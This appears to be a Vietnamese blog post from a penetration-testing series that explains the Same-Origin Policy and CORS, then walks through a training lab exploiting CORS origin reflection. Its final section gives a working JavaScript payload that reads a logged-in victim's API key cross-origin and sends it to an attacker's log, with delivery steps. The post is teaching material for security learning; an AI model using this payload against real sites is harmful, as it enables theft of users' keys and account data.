Penetration Testing Step 3 – Cross-Origin Resource Sharing – CORS attack 101

Kết thúc nội dung Penetration Testing Step 3 – CSRF attack – Hồi kết, kỳ này tôi sẽ chuyển qua một đối tượng mới có tên gọi là Cross-Origin Resource Sharing – CORS. Phần này dù không liên quan trực tiếp nhưng đâu đó cũng sẽ có dính líu một phần đến CSRF attack mà tôi đã đề cập. Nếu cần, bạn có thể quay lại các kỳ trước để xem lại cho rõ (tôi sẽ không đề cập lại trong nội dung này để tránh lan man lạc đề).

Lưu ý:

#1. Cross-Origin Resource Sharing CORS attack là gì?

Trước hết, CORS là cơ chế của brower nhằm kích hoạt việc truy cập có kiểm soát vào tài nguyên nằm bên ngoài một domain xác định. CORS giúp mở rộng và tăng cường độ linh hoạt cho Same-Origin Policy – SOP. Và việc này cũng dẫn đến nguy cơ Cross-Domain attack nếu CORS policy của website được cấu hình và thực thi không chuẩn cmn mực. Cũng cần nhấn mạnh CORS không phải là giải pháp phòng chống các đòn Cross-Origin attack như Cross-Site Request Forgery – CSRF.

Sơ lược về việc tấn công khai thác lỗ hổng CORS được minh họa như sau.

CORS attack
CORS attack

Nếu xem cái minh họa ở trên xong mà bạn thấy chả hiểu mịa gì thì cũng không sao. Tôi sẽ diễn giải các vấn đề liên quan và demo làm rõ ngay ở các phần sau.

#2. Same-Origin Policy – SOP có gì hot?

#2.1 Ngắn gọn thì SOP là gì?

Trước khi có thể chém gió về CORS, tôi thấy cần thiết làm rõ cái thằng Same-Origin Policy – SOP trước cái đã.

Nói một cách vắn tắt thì SOP là một dạng restrictive cross-origin specification (tôi tạm dịch là đặc tính kiểm soát cross-origin) nhằm giới hạn khả năng website tương tác với các tài nguyên bên ngoài domain nguồn. Mục tiêu của SOP là nhằm ngăn chặn các tương tác độc hại giữa các domain (ví dụ một website tìm cách chôm chỉa dữ liệu nhạy cảm từ một website khác).

#2.2 Còn giải thích SOP kiểu không ngắn gọn thì sao?

Rồi, giờ tôi bàn về phiên bản dông dài của SOP.

SOP là cơ chế bảo mật của web browser nhằm ngăn chặn các websites tấn công lẫn nhau. Về cơ bản, SOP sẽ ngăn ngừa script từ một origin nào đấy truy cập dữ của một origin khác. Origin trong ngữ cảnh này sẽ bao gồm URI scheme, domainport number. Ví dụ, nếu tôi xem xét cái URL http://my-fake-website.com/bullshit/bullshit.html thì các thành phần tương ứng sẽ bao gồm:

  • URI scheme: http;
  • Domain: my-fake-website.com;
  • Port number: 80 (giá trị mặc định khi đối tượng làm thinh không nói gì).

Nói như ở trên thì nghe vẫn còn khá mơ hồ. Giờ tôi sẽ minh họa việc áp dụng SOP trong tình huống khi có một thành phần nội dung nào đấy thuộc cái URL nói trên truy cập đến các URL khác:

URL accessed Access permitted
http://my-fake-website.com/bullshit/ Yes: same scheme, domain and port (Ngon, cứ truy cập tẹt ga cho anh!)
http://my-fake-website.com/bullshit1/ Yes: same scheme, domain and port (Cũng ngon, cứ truy cập tẹt ga cho anh!)
https://my-fake-website.com/bullshit/ No: different scheme and port (default port 443 for https) (Khác scheme và port, méo cho nhé!)
http://www.my-fake-website.com/bullshit/ No: different domain (Khác domain, tất nhiên là cũng méo cho rồi)
http://your-fake-website.com/bullshit/ No: different domain (Cũng như trên, khác domain mà truy cập khỉ gì)
http://my-fake-website.com:8080/bullshit/ No: different port (Phắn đi pa, khác port ai cho truy cập!)

#2.3. Ủa mà ông nào bày ra cái SOP để làm gì?

Câu hỏi ở đây là sao không cho truy cập thả cửa mà mấy cha rãnh hơi bày ra cái SOP làm gì cho mệt đầu thế?

(Người ta) Trả lời: HTTP request mà browser gửi từ một origin đến một origin khác sẽ có thể kèm theo cả đám cookies như authentication cookie. Lúc này response trả về sẽ nằm trong “khuôn khổ” của user’s session và bao gồm các dữ liệu cụ thể của user đang tương tác. Và như thế, nếu “lỡ tay” viếng thăm mấy website độc hại mà không có SOP, đám thông tin riêng tư của user (ví dụ email/message) sẽ rơi vào tay đối tượng xấu.

#2.4 Vậy rồi giờ triển SOP sao đây?

Bàn cụ thể về việc triển khai, nhìn chung, SOP sẽ kiểm soát việc truy cập của JavaScript đến các loaded cross-domain content (tức là các nội dung được tải giữa các domain). Ví dụ một trang cụ thể có thể load các external resource (ví embedded image với <img> tag hay embedded media với <video> tag), nhưng đám JavaScript trên trang này sẽ bị ngăn cấm việc đọc nội dung của các tài nguyên nói trên. Tuy nhiên, cũng sẽ có một số trường hợp ngoại lệ như:

  • Các objects rơi vào dạng writable – but not readable cross-domain ví dụ như location object hoặc href property từ iframes hoặc new windows;
  • Các objects rơi vào dạng readable – but not writable cross-domain ví dụ length property của window object (dùng lưu trữ số frames được trang sử dụng) và closed property;
  • Các function với khả năng called cross-domain như: repalce function trên location objects; close, blur, focus function trên new window; postMessage function trên các iframesnew windows để gửi message từ một domain sang domain khác.

Ngoài ra, để đáp ứng legacy requirements (tức là yêu cầu từ các hệ thống “đồ cổ”), SOP cũng sẽ “nhẹ tay” hơn khi xử lý đám cookies để các subdomain của một site sẽ có thể truy cập dù về nguyên tắc việc này là sai trái (lỗi different domain). Với tình huống này, tôi sẽ có thể giảm thiểu nguy cơ bị tấn công thông qua việc sử dụng HttpOnly cookie flag (tức là client side script sẽ không thể truy cập vào cookie này). Nếu muốn, bạn có thể xem kỹ hơn về HttpOnly cookie flag trong nội dung HttpOnly | OWASP Foundation.

Tình huống SOP xử lý nương tay cũng có thể bắt gặp với việc sử dụng document.domain cho các đối tượng thuộc cùng Fully Qualified Domain Name – FQDN. Ví dụ, tôi có thể thiết lập document.domain có giá trị my-fake-website.com cho cả 2 thằng sub.my-fake-website.commy-fake-website.com để cho phép việc giao lưu và đọc các nội dung của 2 đối tượng này.

Lưu ý: Đa số các browser hiện tại sẽ không cho phép thiết lập document.domain có giá trị thuộc Top-level domain – TLD (ví dụ com).

#2.5 SOP vs CORS

Như tôi đã giới thiệu ở phần đầu, CORS giúp mở rộng và tăng cường độ linh hoạt cho SOP – tức CORS cũng có thể xem là một dạng “biến thể” để giảm bớt độ khắc nghiệt của SOP như các trường hợp ngoại lệ trong phần triển khai nói trên.

Cụ thể, CORS protocol sử dụng bộ HTTP headers xác định các trusted web origins (tức là các đối tượng web có thể tin cậy) và các đặc tính liên quan như có cho phép truy cập có xác thực hay không. Đám thông tin này sẽ được trao đổi giữa browser và cross-origin website mà browser đang truy cập.

Điều “hay ho” ở đây là đôi khi mấy cha thực thi CORS mắc sai lầm tạo điều kiện cho kẻ xấu mò vào. Xem xét một tình huống cụ thể khi ứng dụng muốn cấp quyền truy cập cho một số domains thông qua việc quản lý list of allowed domains (tức là danh sách các domains được phép truy cập). Lúc này, giả sử tôi có thể quan sát thấy Origin header trong request (ví dụ với Origin: http://my-fake-website.com) được đọc và “phản chiếu” trong response header báo hiệu về việc cho phép truy cập (ví dụ với Access-Control-Allow-Origin: http://my-fake-website.com) cũng như việc cross-origin request có thể bao gồm cookies (ví dụ với Access-Control-Allow-Credentials: true). Khi đó, attacker (và tôi) có thể đường hoàng dí cái domain đểu vô chỗ Origin header của request để lấy quyền truy cập các tài nguyên liên quan và nhất là đám thông tin nhạy cảm có thể có trong response (ví dụ API key hay CSRF token)

#3. Khai thác CORS vulnerability với basic origin reflection

Nãy giờ chém gió mỏi mồm rồi, tôi xin phép vô phần demo để động tay động chân một tí.

Sau khi bật Burp Suite để hốt traffic và tắt Proxy Interception, tôi tiến hành login vào ứng dụng với credentials quen thuộc wiener:peter.

Ở đây tôi ghi nhận có sự xuất hiện của API Key tại chỗ My Account.

My Account
My Account

Kiểm tra Proxy History tôi nhận thấy cái API Key được hốt về thông qua cái Asynchronous Javascript and XMLAJAX (đại khái là phương thức xử lý bất đồng bộ không cần phải theo trình tự ) request đến /accountDetails. Đồng thời response cũng chứa Access-Control-Allow-Credentials header hàm ý cho thấy ứng dụng có thể hỗ trợ CORS.

accountDetails request
accountDetails request

Đẩy con hàng này qua Burp Suite Repeater. Tôi thử dí vào cái header Origin: https://example.com vào request và send.

Lúc này trong response, tôi nhận thấy cái header Origin tôi dí vào đã xuất hiện chỗ Access-Control-Allow-Origin header.

Access-Control-Allow-Origin
Access-Control-Allow-Origin

Với tình hình này, tôi có thể sáng tác một đoạn script kiểu như sau rồi đút vào phần body bên exploit server để đọc API key.

<script>

    var req = new XMLHttpRequest();

    req.onload = reqListener;

    req.open('get','$url/accountDetails',true);

    req.withCredentials = true;

    req.send();

 

    function reqListener() {

        location='/log?key='+this.responseText;

    };

</script>

Lưu ý trong trường hợp của tôi, $url/accountDetails tương ứng sẽ là https://acf01fd51ebf877dc02311e1007a006a.web-security-academy.net/accountDetails.

exploit server
exploit server

Sau khi StoreView exploit tôi sẽ thấy cái API key xuất hiện trong cái URLlog page.

log page
log page

Tôi có thể sử dụng decode as URL (phần Decoder của Burp Suite) để đọc nội dung cho dễ.

Decoder
Decoder

Sau khi xác nhận hàng họ hoạt động như mong đợi, tôi có thể click Deliver exploit to victim và truy cập Access log để hốt API key của nạn nhân.

API key
API key

1 thought on “Penetration Testing Step 3 – Cross-Origin Resource Sharing – CORS attack 101”

Leave a Reply

Your email address will not be published.